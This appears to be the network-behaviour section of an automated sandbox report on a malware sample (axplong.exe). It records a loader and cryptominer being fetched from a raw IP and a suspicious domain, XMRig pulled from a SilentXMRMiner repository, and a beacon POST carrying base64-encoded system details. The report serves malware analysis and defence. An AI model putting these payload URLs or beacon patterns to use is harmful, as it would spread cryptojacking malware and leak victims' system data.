Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_00C2BD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_00C2BD60

Source: global traffic	HTTP traffic detected: GET /download/conf1.php HTTP/1.1Host: eijfrhegrtbrfcd.onlineUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /download/miner2.0.exe HTTP/1.1Host: eijfrhegrtbrfcd.onlineUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /UnamSanctam/SilentXMRMiner/raw/master/SilentXMRMiner/Resources/xmrig.zip HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /UnamSanctam/SilentXMRMiner/raw/master/SilentXMRMiner/Resources/xmrig.zip HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /inc/loader_5879465914.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: eijfrhegrtbrfcd.online
Source: global traffic	DNS traffic detected: DNS query: sanctam.net
Source: global traffic	DNS traffic detected: DNS query: github.com

Source: unknown

HTTP traffic detected: POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1Connection: Keep-AliveUser-Agent: A WinHTTP Example Program/1.0Content-Length: 0Host: eijfrhegrtbrfcd.online

Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/15.113.16/
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/15.113.16/System32
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/4
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/7737D9ECF5C72AA370644
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php&7:
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php/
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php/dn
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php4
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php:7.
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php=
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpB7V
Source: axplong.exe, 00000006.00000002.3019920701.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpER
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpF6Z
Source: axplong.exe, 00000006.00000002.3019920701.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpM6
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpN7
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpWindows
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpb1a30a186ec2d30be6db0b5
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpdedA
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phper_5879465914.exe
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpm
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded&
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded3
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded4
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedJ
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodede
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedr
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpnu
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpr7f
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Local
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ViewSizePreferences.SourceAumid2
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/W
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Wiow
Source: axplong.exe, 00000006.00000002.3019920701.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3019920701.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/loader_5879465914.exe
Source: axplong.exe, 00000006.00000002.3019920701.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/loader_5879465914.exe%
Source: axplong.exe, 00000006.00000002.3019920701.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/loader_5879465914.exeh
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ones
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/t
Source: axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ysWOW64
Source: svchost64.exe, 0000008B.00000002.2788969573.0000000003616000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.0000000003436000.00000004.00000800.00020000.00000000.sdmp, WR64.sys.139.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: svchost64.exe, 0000008B.00000002.2788969573.0000000003616000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.0000000003436000.00000004.00000800.00020000.00000000.sdmp, WR64.sys.139.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: svchost64.exe, 0000008B.00000002.2788969573.0000000003616000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.0000000003436000.00000004.00000800.00020000.00000000.sdmp, WR64.sys.139.dr	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: svchost64.exe, 0000008B.00000002.2788969573.0000000003616000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.0000000003436000.00000004.00000800.00020000.00000000.sdmp, WR64.sys.139.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: svchost64.exe, 0000008B.00000002.2788969573.000000000375D000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.000000000357C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: svchost64.exe, 0000006B.00000002.2706597636.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 0000008B.00000002.2788969573.00000000035C1000.00000004.00000800.00020000.00000000.sdmp, sihost64.exe, 00000090.00000002.2783114203.0000000003221000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.00000000033E1000.00000004.00000800.00020000.00000000.sdmp, sihost64.exe, 0000009F.00000002.2836528294.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: sihost64.exe, 0000009F.00000002.2836528294.00000000032D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.
Source: loader_5879465914.exe, 00000007.00000003.2741556491.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2724634660.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2791232817.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2894492934.000000000378D000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2857988717.0000000003797000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2763069351.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2908398363.0000000003788000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2949314469.0000000003797000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2867639993.000000000378E000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000002.3022068193.0000000003799000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2690557192.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2590705590.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2742582676.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2523814240.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2864099579.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2832045972.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2399904766.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2455135298.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2636667274.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2879187208.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2510316366.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/
Source: loader_5879465914.exe, 00000007.00000003.2550392048.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000002.3020183902.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2438846550.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2467127699.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2426102539.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2793911920.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2635393911.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2766846263.0000000000777000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2373865784.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2481291707.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2620255870.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2453484354.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2508746813.0000000000777000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2673880736.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2399949653.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2522344856.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2689820350.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2358547789.0000000000777000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2386863025.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2648797169.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2412212318.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/0
Source: loader_5879465914.exe, 00000007.00000002.3021798885.0000000003750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/A
Source: Microsoft-Edge.exe, 0000000E.00000002.3022066818.0000000003705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/R
Source: curl.exe, 0000000A.00000002.2354249733.00000212B53B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/download/conf1.php
Source: curl.exe, 0000000A.00000002.2354249733.00000212B53B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/download/conf1.phpe
Source: curl.exe, 0000000A.00000002.2354315506.00000212B53EC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000003.2353963310.00000212B53EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/download/conf1.phpy
Source: curl.exe, 00000052.00000002.2619013349.000001DFDEF47000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000052.00000002.2619013349.000001DFDEF54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/download/miner2.0.exe
Source: curl.exe, 00000052.00000002.2619013349.000001DFDEF47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/download/miner2.0.exePz
Source: curl.exe, 00000052.00000003.2618490481.000001DFDEF7B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000052.00000002.2619230837.000001DFDEF7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/download/miner2.0.exeX
Source: curl.exe, 00000052.00000002.2619013349.000001DFDEF54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/download/miner2.0.execk.dll
Source: Microsoft-Edge.exe, 0000000E.00000003.2439702684.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2455135298.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2455135298.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2636667274.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2550111525.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2426774904.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2467067729.0000000000914000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2426774904.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000002.3020533522.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2412607559.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2497419323.0000000000914000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2497419323.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2619479146.00000000008B4000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2690557192.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2467067729.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2605563246.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2669985845.0000000000914000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2564142044.00000000008B4000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2523814240.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2426458006.00000000008B4000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2577879379.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnk
Source: loader_5879465914.exe, 00000007.00000003.2632263244.000000000377B000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2425064392.0000000000802000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2481189507.0000000003743000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2496432695.0000000003743000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2481058326.0000000003743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online:443/iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1
Source: svchost64.exe, 0000008B.00000002.2788969573.0000000003740000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.0000000003561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: svchost64.exe, 00000095.00000002.2847173181.0000000003561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/UnamSanctam/SilentXMRMiner/raw/master/SilentXMRMiner/Resource
Source: svchost64.exe, 00000095.00000002.2847173181.0000000003561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/UnamSanctam/SilentXMRMiner/raw/master/SilentXMRMiner/Resources/xmrig.zip
Source: svchost64.exe, 0000008B.00000002.2788969573.0000000003780000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.000000000359F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/UnamSanctam/SilentXMRMiner/master/SilentXMRMiner/Resources/xmrig.z
Source: svchost64.exe, 0000008B.00000002.2788969573.00000000036ED000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 0000008B.00000002.2788969573.0000000003736000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.0000000003554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sanctam.net:58899
Source: svchost64.exe, 00000095.00000002.2847173181.0000000003510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sanctam.net:58899/assets/txt/resource_url.php?type=xmrig

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
